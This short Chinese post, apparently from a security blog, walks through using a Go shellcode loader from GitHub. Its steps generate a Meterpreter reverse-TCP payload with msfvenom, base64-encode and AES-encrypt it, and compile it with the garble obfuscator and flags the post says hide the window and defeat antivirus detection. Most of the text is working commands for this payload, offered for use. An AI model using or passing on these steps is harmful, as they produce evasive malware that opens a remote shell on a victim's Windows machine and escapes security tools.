项目作者:HZzz 项目地址:https://github.com/HZzz2/go-shellcode-loader
一、工具介绍
二、安装与使用
git clone https://github.com/HZzz2/go-shellcode-loader.gitcd go-shellcode-loader//下条命令安装第三方混淆库 GitHub地址:https://github.com/burrowers/garblego install mvdan.cc/garble@latest
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=9999 -f raw > rev.rawbase64 -w 0 -i rev.raw > rev.bs64cat rev.bs64
运行aes-sc.go生成AES加密后的值go run aes-sc.go复制输出的值到go-sc.go中的73行替换payload
garble -tiny -literals -seed=random build -ldflags="-w -s -H windowsgui" -race go-sc.gogarble(混淆库):-tiny 删除额外信息-literals 混淆文字-seed=random base64编码的随机种子go:-w 去掉调试信息,不能gdb调试了-s 去掉符号表-H windowsgui 隐藏执行窗口,不占用 cmd 终端。(被查杀率高)-race 使数据允许竞争检测,编译时改变了生成后的文件特征, 使得杀软无法检测,当然有一天也会失效的。编译后得到go-sc.exe
推荐阅读↓↓↓
我知道你在看哟